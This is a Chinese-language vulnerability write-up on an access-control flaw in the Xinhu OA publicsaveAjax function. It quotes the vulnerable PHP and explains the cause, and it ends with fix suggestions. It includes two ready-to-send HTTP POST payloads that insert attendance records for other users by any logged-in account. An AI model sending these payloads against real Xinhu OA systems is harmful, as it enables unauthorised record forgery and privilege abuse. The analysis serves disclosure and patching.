从先知文章复现到信呼OA数据库后门0day发掘
字数 918 2025-08-22 12:23:06
信呼OA数据库后门0day漏洞分析与利用教学
漏洞概述
本文详细分析了信呼OA系统中存在的一个数据库后门0day漏洞,该漏洞允许攻击者在后台进行垂直和水平越权操作,直接向数据库插入任意数据。漏洞存在于webmain/webmainAction.php文件的publicsaveAjax函数中。
漏洞分析
漏洞位置
漏洞核心位于webmain/webmainAction.php文件中的publicsaveAjax函数,该函数负责处理公共保存操作。
关键代码分析
public function publicsaveAjax()
{
$this->iszclogin(); // 仅验证登录状态
$table = $this->rock->xssrepstr($this->rock->iconvsql($this->post('tablename_postabc','',1),1));
$id = (int)$this->post('id');
// 缺少权限验证
$db = m($table);
$where = "`id`='$id'";
if($id==0)$where='';
// 接收并处理提交的字段
$submditfi = $this->rock->jm->base64decode($this->post('submitfields_postabc'));
$fields = explode(',', $submditfi);
foreach($fields as $field){
$field = $this->rock->xssrepstr($field);
$val = $this->post(''.$field.'');
$uaarr[$field]=$val;
}
// 执行数据库操作
$sbo = $db->record($uaarr, $where);
// ...
}
漏洞成因
- 权限验证缺失:仅验证了登录状态(
iszclogin()),没有检查用户权限 - 未过滤表名和字段:虽然进行了XSS防护,但未限制可操作的表和字段
- 直接数据库操作:接收用户输入后直接执行数据库插入/更新操作
漏洞利用
利用条件
- 需要已登录后台(任意权限用户)
- 知道目标表名和字段结构
路由构造
根据信呼OA的路由规则,构造如下请求参数:
a=publicsave(调用publicsaveAjax方法)m=index(webmain下)d=(空)ajaxbool=true(AJAX请求)
利用步骤
- 垂直越权示例(管理员签到功能)
POST /xinhu-master/index.php?a=publicsave&m=index&d=&ajaxbool=true HTTP/1.1
Host: target.com
Cookie: [有效的会话Cookie]
Content-Type: application/x-www-form-urlencoded
id=0&recename=攻击者&uid=12&dkdt=2025-08-07+10:09:00&explain=&otherfields=type=3,optdt={now}&tablename_postabc=kqdkjl&submitfields_postabc=ZGtkdCx1aWQsZXhwbGFpbg==&editrecord_postabc=false
- 水平越权示例(操作用户数据)
POST /xinhu-master/index.php?a=publicsave&m=index&d=&ajaxbool=true HTTP/1.1
Host: target.com
Cookie: [有效的会话Cookie]
Content-Type: application/x-www-form-urlencoded
id=0&recename=其他用户&uid=7&dkdt=2025-08-07+10:09:00&explain=&otherfields=type=3,optdt={now}&tablename_postabc=kqdkjl&submitfields_postabc=ZGtkdCx1aWQsZXhwbGFpbg==&editrecord_postabc=false
关键参数说明
tablename_postabc: 目标表名(经过编码)submitfields_postabc: Base64编码的字段列表(如dkdt,uid,explain编码为ZGtkdCx1aWQsZXhwbGFpbg==)otherfields: 额外字段设置(支持变量如{now}表示当前时间)id: 记录ID,0表示新增
漏洞修复建议
-
在
publicsaveAjax函数中添加权限验证:if(!$this->isadmin()) return returnerror('无权限'); -
限制可操作的表名白名单:
$allowedTables = ['table1', 'table2']; if(!in_array($table, $allowedTables)) return returnerror('禁止操作该表'); -
对字段进行严格过滤,只允许特定字段:
$allowedFields = ['field1', 'field2']; foreach($fields as $field){ if(!in_array($field, $allowedFields)) continue; // 处理字段 }
总结
该漏洞展示了信呼OA系统中存在的权限控制缺陷,攻击者可以利用此漏洞:
- 进行垂直越权,执行高权限操作
- 进行水平越权,操作用户数据
- 作为持久化后门,向数据库插入恶意数据
PHP应用开发中应特别注意权限控制,建议使用成熟的权限管理框架或实现统一的权限检查机制。